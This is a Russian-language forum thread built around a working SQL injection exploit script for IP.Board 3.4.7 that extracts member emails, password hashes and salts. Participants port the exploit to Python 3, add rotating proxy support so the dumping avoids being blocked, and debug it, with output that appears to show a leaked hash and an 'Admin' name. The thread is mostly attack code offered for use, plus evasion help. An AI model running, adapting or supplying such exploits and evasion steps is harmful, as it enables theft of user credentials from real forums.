Есть такой скрипт Вопрос: как настроить его, чтобы он дампил с помощью ПРОКСИ листа, который выводится, например, с сайта или файла, ну или на крайний случай ручным вводом в код? (в названии темы ошибся) Code: #!/usr/bin/env python # Sunday, November 09, 2014 - secthrowaway@safe-mail.net # IP.Board <= 3.4.7 SQLi (blind, error based); # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable url = 'http://target.tld/forum/' ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" import sys, re # <socks> - http://sourceforge.net/projects/socksipy/ #import socks, socket #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket # </socks> import urllib2, urllib def inject(sql): try: urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua})) except urllib2.HTTPError, e: if e.code == 503: data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read() txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE) if txt is not None: return txt.group(1) sys.exit('Error [3], received unexpected data:\n%s' % data) sys.exit('Error [1]') sys.exit('Error [2]') def get(name, table, num): sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num) s = int(inject('LENGTH((%s))' % sqli)) if s < 31: return inject(sqli) else: r = '' for i in range(1, s+1, 31): r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31)) return r n = inject('SELECT COUNT(*) FROM members') print '* Found %s users' % n for j in range(int(n)): print get('member_id', 'members', j) print get('name', 'members', j) print get('email', 'members', j) print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j) print '----------------'
Непонятен вопрос: вам нужно получить куки, которые сервер вернул в ответе, либо задать куки для запроса?
Переходите на Python 3 + requests, здесь гораздо проще работать с прокси, а также с HTTP в общем. Насколько я понимаю, скрипт взят отсюда: https://packetstormsecurity.com/files/129040/IP.Board-3.4.7-SQL-Injection.html Переписал быстро на Python 3, вот, что получилось: https://paste.ubuntu.com/p/ZfzSPxnw79/ Я не знаю, будет ли это работать, т.к. у меня нет возможности проверить это.
Благодарю за ответ!Cкрипт брал с github. И всё же, как вставить несколько прокси, чтобы они попеременно отправляли запросы на получение инфы с БД? Дело в том, что после определённого кол-ва запросов скрипт возвращает ошибку [Errno 10060].
По поводу прокси: скажем, у вас есть такой список прокси в виде текстовика (слева тип прокси, справа URL): Code: http http://10.10.1.10:3128 https http://10.10.1.10:1080 Загружаете в словарь прокси его так: Code: with open('proxies.txt', 'r') as f: proxies = {} for line in f.read().strip().splitlines(): type, url = line.split() proxies[type] = url Затем устанавливаете эти прокси в сессию, как указано здесь Code: http.proxies.update(proxies)
Выполняю Ваш код, выдаёт ошибку TypeError: post() missing 1 required positional argument: 'url' Из интернета я понял, что где-то нет скобок, а вот где именно понять не могу. Изменил f"{url}/interface/ipsconnect/ipsconnect.php", на f="{url}/interface/ipsconnect/ipsconnect.php", Code: #!/usr/bin/env python3 # Sunday, November 09, 2014 - secthrowaway@safe-mail.net # IP.Board <= 3.4.7 SQLi (blind, error based); # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable url = 'http://forum' ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" import sys, re from urllib.parse import quote import requests # <socks> - http://sourceforge.net/projects/socksipy/ #import socks, socket #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket # </socks> def inject(sql): http = requests.Session() http.headers["User-agent"] = ua r = http.post( f="{url}/interface/ipsconnect/ipsconnect.php", data="act=login&idType=id&id[]=-1&id[]={}".format( quote(f'-1) and 1!="\'" and extractvalue(1,concat(0x3a,({sql})))#\'') ) ) if r.status_code == 503: data = http.get(f'{url}/cache/sql_error_latest.cgi').text txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE) if txt is not None: return txt.group(1) sys.exit(f'Error [3], received unexpected data:\n{data}') else: sys.exit('Error [1]') sys.exit('Error [2]') def get(name, table, num): sqli = f'SELECT {name} FROM {table} LIMIT {num},1' s = int(inject(f'LENGTH(({sqli}))')) if s < 31: return inject(sqli) else: r = '' for i in range(1, s+1, 31): r += inject(f'SUBSTRING(({sqli}), {i}, 31)') return r n = inject('SELECT COUNT(*) FROM ibf_members') print(f'* Found {n} users') for j in range(int(n)): print(get('CONCAT(email, 0x3a, members_pass_hash, 0x3a, members_pass_salt, 0x3a, name)', 'ibf_members', j))
Вы изменили мой код. Посмотрите внимательно, как у меня передаются параметры в метод http.post() и найдите отличие возле первой буквы "f"
Изменил код ошибки с 503 на 200, теперь выдаёт такое: * Found dff82b8bb38d16:UJ&z#:Admin users Traceback (most recent call last): File "C:\ss\e1.py", line 55, in <module> for j in range(int(n)): ValueError: invalid literal for int() with base 10: 'dff82b8bb38d16:UJ&z#:Admin'